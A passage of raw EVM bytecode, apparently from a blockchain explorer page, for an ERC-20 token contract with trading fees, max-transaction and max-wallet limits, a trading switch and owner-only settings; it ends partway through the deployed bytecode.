364457600e60019054906101000a900460ff166130d457601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130945750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130ca9061591e565b60405180910390fd5b5b601060009054906101000a900460ff1615613303577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561319157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613302576004436131a3919061593e565b600f60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410801561323a57506004436131f8919061593e565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b613279576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613270906159e4565b60405180910390fd5b43600f60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555043600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156133a65750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561344d576006548111156133f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133e790615a76565b60405180910390fd5b6008546133fc83611324565b826134079190614d93565b1115613448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343f90615ae2565b60405180910390fd5b613643565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156134f05750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561353f5760075481111561353a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353190615b74565b60405180910390fd5b613642565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156135e35750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613641576008546135f483611324565b826135ff9190614d93565b1115613640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363790615ae2565b60405180910390fd5b5b5b5b5b5b600061365030611324565b90506000600a5482101590508080156136755750600e60029054906101000a900460ff165b801561368e5750600960009054906101000a900460ff16155b80156136e45750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561373a5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137905750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137d4576001600960006101000a81548160ff0219169083151502179055506137b8613daf565b6000600960006101000a81548160ff0219169083151502179055505b600060019050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061387b5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561388557600090505b6000808215613ba85760014361389b9190614d93565b600d54101580156138f55750601e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156139475760646063876139099190614c5f565b6139139190614cd0565b905061394288600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361404a565b613b79565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156139a257506000601554115b15613a61576064601554876139b79190614c5f565b6139c19190614cd0565b9150601554601754836139d49190614c5f565b6139de9190614cd0565b601a60008282546139ef9190614d93565b9250508190555060155460165483613a079190614c5f565b613a119190614cd0565b60196000828254613a229190614d93565b9250508190555060155460185483613a3a9190614c5f565b613a449190614cd0565b601b6000828254613a559190614d93565b92505081905550613b78565b601e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613abc57506000601154115b15613b7757606460115487613ad19190614c5f565b613adb9190614cd0565b915060115460135483613aee9190614c5f565b613af89190614cd0565b601a6000828254613b099190614d93565b9250508190555060115460125483613b219190614c5f565b613b2b9190614cd0565b60196000828254613b3c9190614d93565b9250508190555060115460145483613b549190614c5f565b613b5e9190614cd0565b601b6000828254613b6f9190614d93565b925050819055505b5b5b6000821115613b8e57613b8d88308461404a565b5b8082613b9a9190614d93565b86613ba5919061593e565b95505b613bb388888861404a565b5050505050505050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550613c1e82826142b3565b8015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cce90615be0565b60405180910390fd5b8060026000828254613ce99190614d93565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613d3e9190614d93565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613da391906148d7565b60405180910390a35050565b6000613dba30611324565b90506000601b54601954601a54613dd19190614d93565b613ddb9190614d93565b90506000821480613dec5750600081145b15613df8575050614048565b600a8054613e069190614c5f565b821115613e1e57600a8054613e1b9190614c5f565b91505b600080600283601a5486613e329190614c5f565b613e3c9190614cd0565b613e469190614cd0565b9050613e5c8185613e57919061593e565b614347565b6000479050600081905060006002601a54613e779190614cd0565b86613e82919061593e565b60195484613e909190614c5f565b613e9a9190614cd0565b905060006002601a54613ead9190614cd0565b87613eb8919061593e565b601b5485613ec69190614c5f565b613ed09190614cd0565b90508082613ede9190614d93565b83613ee9919061593e565b92506000601a8190555060006019819055506000601b81905550600085118015613f135750600083115b15613f2357613f228584614584565b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613f6990615c31565b60006040518083038185875af1925050503d8060008114613fa6576040519150601f19603f3d011682016040523d82523d6000602084013e613fab565b606091505b505080965050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613ff790615c31565b60006040518083038185875af1925050503d8060008114614034576040519150601f19603f3d011682016040523d82523d6000602084013e614039565b606091505b50508096505050505050505050505b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036140b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016140b0906157b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603614128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161411f90615846565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156141ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141a590615cb8565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546142419190614d93565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516142a591906148d7565b60405180910390a350505050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746828260405161433b929190615cd8565b60405180910390a15050565b6000600267ffffffffffffffff81111561436457614363615d01565b5b6040519080825280602002602001820160405280156143925781602001602082028036833780820191505090505b50905030816000815181106143aa576143a9615d30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561444f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144739190615d74565b8160018151811061448757614486615d30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506144ec307f000000000000000000000000000000000000000000000000000000000000000084612bf2565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161454e959493929190615e9a565b600060405180830381600087803b15801561456857600080fd5b505af115801561457c573d6000803e3d6000fd5b505050505050565b6145af307f000000000000000000000000000000000000000000000000000000000000000084612bf2565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161461696959493929190615ef4565b60606040518083038185885af1158015614634573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906146599190615f55565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561469a57808201518184015260208101905061467f565b60008484015250505050565b6000601f19601f8301169050919050565b60006146c282614660565b6146cc818561466b565b93506146dc81856020860161467c565b6146e5816146a6565b840191505092915050565b6000602082019050818103600083015261470a81846146b7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061474282614717565b9050919050565b61475281614737565b811461475d57600080fd5b50565b60008135905061476f81614749565b92915050565b6000819050919050565b61478881614775565b811461479357600080fd5b50565b6000813590506147a58161477f565b92915050565b600080604083850312156147c2576147c1614712565b5b60006147d085828601614760565b92505060206147e185828601614796565b9150509250929050565b60008115159050919050565b614800816147eb565b82525050565b600060208201905061481b60008301846147f7565b92915050565b60006020828403121561483757614836614712565b5b600061484584828501614760565b91505092915050565b6000819050919050565b600061487361486e61486984614717565b61484e565b614717565b9050919050565b600061488582614858565b9050919050565b60006148978261487a565b9050919050565b6148a78161488c565b82525050565b60006020820190506148c2600083018461489e565b92915050565b6148d181614775565b82525050565b60006020820190506148ec60008301846148c8565b92915050565b60008060006060848603121561490b5761490a614712565b5b600061491986828701614760565b935050602061492a86828701614760565b925050604061493b86828701614796565b9150509250925092565b60006020828403121561495b5761495a614712565b5b600061496984828501614796565b91505092915050565b600060ff82169050919050565b61498881614972565b82525050565b60006020820190506149a3600083018461497f565b92915050565b6149b281614737565b82525050565b60006020820190506149cd60008301846149a9565b92915050565b6149dc816147eb565b81146149e757600080fd5b50565b6000813590506149f9816149d3565b92915050565b60008060408385031215614a1657614a15614712565b5b6000614a2485828601614760565b9250506020614a35858286016149ea565b9150509250929050565b600080600060608486031215614a5857614a57614712565b5b6000614a6686828701614796565b9350506020614a7786828701614796565b9250506040614a8886828701614796565b9150509250925092565b60008060408385031215614aa957614aa8614712565b5b6000614ab785828601614760565b9250506020614ac885828601614760565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614b1957607f821691505b602082108103614b2c57614b2b614ad2565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000614b8e60288361466b565b9150614b9982614b32565b604082019050919050565b60006020820190508181036000830152614bbd81614b81565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614bfa60208361466b565b9150614c0582614bc4565b602082019050919050565b60006020820190508181036000830152614c2981614bed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614c6a82614775565b9150614c7583614775565b9250828202614c8381614775565b91508282048414831517614c9a57614c99614c30565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614cdb82614775565b9150614ce683614775565b925082614cf657614cf5614ca1565b5b828204905092915050565b7f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f7765722060008201527f7468616e20302e31250000000000000000000000000000000000000000000000602082015250565b6000614d5d60298361466b565b9150614d6882614d01565b604082019050919050565b60006020820190508181036000830152614d8c81614d50565b9050919050565b6000614d9e82614775565b9150614da983614775565b9250828201905080821115614dc157614dc0614c30565b5b92915050565b7f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60008201527f7420626520300000000000000000000000000000000000000000000000000000602082015250565b6000614e2360268361466b565b9150614e2e82614dc7565b604082019050919050565b60006020820190508181036000830152614e5281614e16565b9050919050565b7f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060008201527f6d61782074786e00000000000000000000000000000000000000000000000000602082015250565b6000614eb560278361466b565b9150614ec082614e59565b604082019050919050565b60006020820190508181036000830152614ee481614ea8565b9050919050565b7f4d757374206b656570206665657320617420313525206f72206c657373000000600082015250565b6000614f21601d8361466b565b9150614f2c82614eeb565b602082019050919050565b60006020820190508181036000830152614f5081614f14565b9050919050565b7f5f746f6b656e20616464726573732063616e6e6f742062652030000000000000600082015250565b6000614f8d601a8361466b565b9150614f9882614f57565b602082019050919050565b60006020820190508181036000830152614fbc81614f80565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e7300000000600082015250565b6000614ff9601c8361466b565b915061500482614fc3565b602082019050919050565b6000602082019050818103600083015261502881614fec565b9050919050565b60008151905061503e8161477f565b92915050565b60006020828403121561505a57615059614712565b5b60006150688482850161502f565b91505092915050565b600060408201905061508660008301856149a9565b61509360208301846148c8565b9392505050565b6000815190506150a9816149d3565b92915050565b6000602082840312156150c5576150c4614712565b5b60006150d38482850161509a565b91505092915050565b7f43616e6e6f74207265656e61626c652074726164696e67000000000000000000600082015250565b600061511260178361466b565b915061511d826150dc565b602082019050919050565b6000602082019050818103600083015261514181615105565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006151a460398361466b565b91506151af82615148565b604082019050919050565b600060208201905081810360008301526151d381615197565b9050919050565b7f5f5461784164647265737320616464726573732063616e6e6f74206265203000600082015250565b6000615210601f8361466b565b915061521b826151da565b602082019050919050565b6000602082019050818103600083015261523f81615203565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006152a260258361466b565b91506152ad82615246565b604082019050919050565b600060208201905081810360008301526152d181615295565b9050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b600061530e601d8361466b565b9150615319826152d8565b602082019050919050565b6000602082019050818103600083015261533d81615301565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760008201527f6572207468616e20302e33250000000000000000000000000000000000000000602082015250565b60006153a0602c8361466b565b91506153ab82615344565b604082019050919050565b600060208201905081810360008301526153cf81615393565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b600061543260358361466b565b915061543d826153d6565b604082019050919050565b6000602082019050818103600083015261546181615425565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e312520746f74616c20737570706c792e000000000000000000000000602082015250565b60006154c460348361466b565b91506154cf82615468565b604082019050919050565b600060208201905081810360008301526154f3816154b7565b9050919050565b7f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f77657260008201527f207468616e20302e312500000000000000000000000000000000000000000000602082015250565b6000615556602a8361466b565b9150615561826154fa565b604082019050919050565b6000602082019050818103600083015261558581615549565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006155e860268361466b565b91506155f38261558c565b604082019050919050565b60006020820190508181036000830152615617816155db565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061567a60248361466b565b91506156858261561e565b604082019050919050565b600060208201905081810360008301526156a98161566d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061570c60228361466b565b9150615717826156b0565b604082019050919050565b6000602082019050818103600083015261573b816156ff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061579e60258361466b565b91506157a982615742565b604082019050919050565b600060208201905081810360008301526157cd81615791565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061583060238361466b565b915061583b826157d4565b604082019050919050565b6000602082019050818103600083015261585f81615823565b9050919050565b7f616d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b600061589c601d8361466b565b91506158a782615866565b602082019050919050565b600060208201905081810360008301526158cb8161588f565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061590860168361466b565b9150615913826158d2565b602082019050919050565b60006020820190508181036000830152615937816158fb565b9050919050565b600061594982614775565b915061595483614775565b925082820390508181111561596c5761596b614c30565b5b92915050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e202054727920616761696e206c617465722e0000000000000000000000602082015250565b60006159ce60358361466b565b91506159d982615972565b604082019050919050565b600060208201905081810360008301526159fd816159c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d6178206275792e000000000000000000000000000000000000000000000000602082015250565b6000615a6060288361466b565b9150615a6b82615a04565b604082019050919050565b60006020820190508181036000830152615a8f81615a53565b9050919050565b7f43616e6e6f7420457863656564206d61782077616c6c65740000000000000000600082015250565b6000615acc60188361466b565b9150615ad782615a96565b602082019050919050565b60006020820190508181036000830152615afb81615abf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61782073656c6c2e00000000000000000000000000000000000000000000602082015250565b6000615b5e602a8361466b565b9150615b6982615b02565b604082019050919050565b60006020820190508181036000830152615b8d81615b51565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000615bca601f8361466b565b9150615bd582615b94565b602082019050919050565b60006020820190508181036000830152615bf981615bbd565b9050919050565b600081905092915050565b50565b6000615c1b600083615c00565b9150615c2682615c0b565b600082019050919050565b6000615c3c82615c0e565b9150819050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000615ca260268361466b565b9150615cad82615c46565b604082019050919050565b60006020820190508181036000830152615cd181615c95565b9050919050565b6000604082019050615ced60008301856149a9565b615cfa60208301846147f7565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050615d6e81614749565b92915050565b600060208284031215615d8a57615d89614712565b5b6000615d9884828501615d5f565b91505092915050565b6000819050919050565b6000615dc6615dc1615dbc84615da1565b61484e565b614775565b9050919050565b615dd681615dab565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615e1181614737565b82525050565b6000615e238383615e08565b60208301905092915050565b6000602082019050919050565b6000615e4782615ddc565b615e518185615de7565b9350615e5c83615df8565b8060005b83811015615e8d578151615e748882615e17565b9750615e7f83615e2f565b925050600181019050615e60565b5085935050505092915050565b600060a082019050615eaf60008301886148c8565b615ebc6020830187615dcd565b8181036040830152615ece8186615e3c565b9050615edd60608301856149a9565b615eea60808301846148c8565b9695505050505050565b600060c082019050615f0960008301896149a9565b615f1660208301886148c8565b615f236040830187615dcd565b615f306060830186615dcd565b615f3d60808301856149a9565b615f4a60a08301846148c8565b979650505050505050565b600080600060608486031215615f6e57615f6d614712565b5b6000615f7c8682870161502f565b9350506020615f8d8682870161502f565b9250506040615f9e8682870161502f565b915050925092509256fea264697066735822122095e73082ae75fe654b2d50c39282846378e6bb2d34f52490824238fbbf06a87864736f6c63430008110033

Deployed Bytecode

0x60806040526004361061036f5760003560e01c8063941fa5cd116101c6578063d85ba063116100f7578063ee40166e11610095578063f5648a4f1161006f578063f5648a4f14610c83578063f637434214610c9a578063f8a25a9414610cc5578063fb002c9714610cf057610376565b8063ee40166e14610c04578063f11a24d314610c2f578063f2fde38b14610c5a57610376565b8063e2f45605116100d1578063e2f4560514610b6c578063e884f26014610b97578063e98d8d1514610bae578063ea4cfe1214610bd957610376565b8063d85ba06314610adb578063dc3f0d0f14610b06578063dd62ed3e14610b2f57610376565b8063b62496f511610164578063c17b5b8c1161013e578063c17b5b8c14610a35578063c18bc19514610a5e578063c876d0b914610a87578063d257b34f14610ab257610376565b8063b62496f5146109a4578063bbc0c742146109e1578063c024666814610a0c57610376565b8063a1883d26116101a0578063a1883d26146108d6578063a457c2d7146108ff578063a9059cbb1461093c578063aa4bde281461097957610376565b8063941fa5cd1461085757806395d89b41146108825780639a7a23d6146108ad57610376565b80635a139dd4116102a0578063751039fc1161023e5780638366e79a116102185780638366e79a146107ad57806388e765ff146107ea5780638a8c523c146108155780638da5cb5b1461082c57610376565b8063751039fc146107445780637571336a1461075b5780638095d5641461078457610376565b80636d7adcad1161027a5780636d7adcad1461069a5780636ddd1713146106c557806370a08231146106f0578063715018a61461072d57610376565b80635a139dd41461061957806366d602ae146106445780636a486a8e1461066f57610376565b80632be32b611161030d578063499b8394116102e7578063499b83941461056f57806349bd5a5e146105985780634a62bb65146105c35780634f77f6c0146105ee57610376565b80632be32b61146104de578063313ce56714610507578063395093511461053257610376565b80631694505e116103495780631694505e1461042057806318160ddd1461044b5780631a8145bb1461047657806323b872dd146104a157610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d1b565b60405161039d91906146f0565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906147ab565b610dad565b6040516103da9190614806565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190614821565b610dcb565b6040516104179190614806565b60405180910390f35b34801561042c57600080fd5b50610435610deb565b60405161044291906148ad565b60405180910390f35b34801561045757600080fd5b50610460610e0f565b60405161046d91906148d7565b60405180910390f35b34801561048257600080fd5b5061048b610e19565b60405161049891906148d7565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c391906148f2565b610e1f565b6040516104d59190614806565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190614945565b610f17565b005b34801561051357600080fd5b5061051c61107a565b604051610529919061498e565b60405180910390f35b34801561053e57600080fd5b50610559600480360381019061055491906147ab565b611083565b6040516105669190614806565b60405180910390f35b34801561057b57600080fd5b5061059660048036038101906105919190614821565b61112f565b005b3480156105a457600080fd5b506105ad6112bc565b6040516105ba91906149b8565b60405180910390f35b3480156105cf57600080fd5b506105d86112e0565b6040516105e59190614806565b60405180910390f35b3480156105fa57600080fd5b506106036112f3565b60405161061091906148d7565b60405180910390f35b34801561062557600080fd5b5061062e6112f9565b60405161063b91906148d7565b60405180910390f35b34801561065057600080fd5b506106596112ff565b60405161066691906148d7565b60405180910390f35b34801561067b57600080fd5b50610684611305565b60405161069191906148d7565b60405180910390f35b3480156106a657600080fd5b506106af61130b565b6040516106bc91906148d7565b60405180910390f35b3480156106d157600080fd5b506106da611311565b6040516106e79190614806565b60405180910390f35b3480156106fc57600080fd5b5061071760048036038101906107129190614821565b611324565b60405161072491906148d7565b60405180910390f35b34801561073957600080fd5b5061074261136c565b005b34801561075057600080fd5b506107596114c4565b005b34801561076757600080fd5b50610782600480360381019061077d91906149ff565b6115bf565b005b34801561079057600080fd5b506107ab60048036038101906107a69190614a3f565b611745565b005b3480156107b957600080fd5b506107d460048036038101906107cf9190614a92565b61185f565b6040516107e19190614806565b60405180910390f35b3480156107f657600080fd5b506107ff611b13565b60405161080c91906148d7565b60405180910390f35b34801561082157600080fd5b5061082a611b19565b005b34801561083857600080fd5b50610841611c6b565b60405161084e91906149b8565b60405180910390f35b34801561086357600080fd5b5061086c611c95565b60405161087991906148d7565b60405180910390f35b34801561088e57600080fd5b50610897611c9b565b6040516108a491906146f0565b60405180910390f35b3480156108b957600080fd5b506108d460048036038101906108cf91906149ff565b611d2d565b005b3480156108e257600080fd5b506108fd60048036038101906108f89190614821565b611e60565b005b34801561090b57600080fd5b50610926600480360381019061092191906147ab565b611fed565b6040516109339190614806565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e91906147ab565b6120d8565b6040516109709190614806565b60405180910390f35b34801561098557600080fd5b5061098e6120f6565b60405161099b91906148d7565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614821565b6120fc565b6040516109d89190614806565b60405180910390f35b3480156109ed57600080fd5b506109f661211c565b604051610a039190614806565b60405180910390f35b348015610a1857600080fd5b50610a336004803603810190610a2e91906149ff565b61212f565b005b348015610a4157600080fd5b50610a5c6004803603810190610a579190614a3f565b61226f565b005b348015610a6a57600080fd5b50610a856004803603810190610a809190614945565b612389565b005b348015610a9357600080fd5b50610a9c6124ec565b604051610aa99190614806565b60405180910390f35b348015610abe57600080fd5b50610ad96004803603810190610ad49190614945565b6124ff565b005b348015610ae757600080fd5b50610af0612667565b604051610afd91906148d7565b60405180910390f35b348015610b1257600080fd5b50610b2d6004803603810190610b289190614945565b61266d565b005b348015610b3b57600080fd5b50610b566004803603810190610b519190614a92565b6127d0565b604051610b6391906148d7565b60405180910390f35b348015610b7857600080fd5b50610b81612857565b604051610b8e91906148d7565b60405180910390f35b348015610ba357600080fd5b50610bac61285d565b005b348015610bba57600080fd5b50610bc3612911565b604051610bd091906149b8565b60405180910390f35b348015610be557600080fd5b50610bee612937565b604051610bfb91906149b8565b60405180910390f35b348015610c1057600080fd5b50610c1961295d565b604051610c2691906148d7565b60405180910390f35b348015610c3b57600080fd5b50610c44612963565b604051610c5191906148d7565b60405180910390f35b348015610c6657600080fd5b50610c816004803603810190610c7c9190614821565b612969565b005b348015610c8f57600080fd5b50610c98612b2f565b005b348015610ca657600080fd5b50610caf612bd8565b604051610cbc91906148d7565b60405180910390f35b348015610cd157600080fd5b50610cda612bde565b604051610ce791906148d7565b60405180910390f35b348015610cfc57600080fd5b50610d05612be4565b604051610d1291906148d7565b60405180910390f35b606060038054610d2a90614b01565b80601f0160208091040260200160405190810160405280929190818152602001828054610d5690614b01565b8015610da35780601f10610d7857610100808354040283529160200191610da3565b820191906000526020600020905b815481529060010190602001808311610d8657829003601f168201915b5050505050905090565b6000610dc1610dba612bea565b8484612bf2565b6001905092915050565b601d6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b601a5481565b6000610e2c848484612dbb565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e77612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90614ba4565b60405180910390fd5b610f0b85610f03612bea565b858403612bf2565b60019150509392505050565b610f1f612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa590614c10565b60405180910390fd5b670de0b6b3a76400006103e86001610fc4610e0f565b610fce9190614c5f565b610fd89190614cd0565b610fe29190614cd0565b811015611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90614d73565b60405180910390fd5b670de0b6b3a7640000816110389190614c5f565b6006819055507ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100960065460405161106f91906148d7565b60405180910390a150565b60006012905090565b6000611125611090612bea565b84846001600061109e612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111209190614d93565b612bf2565b6001905092915050565b611137612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90614c10565b6040518091039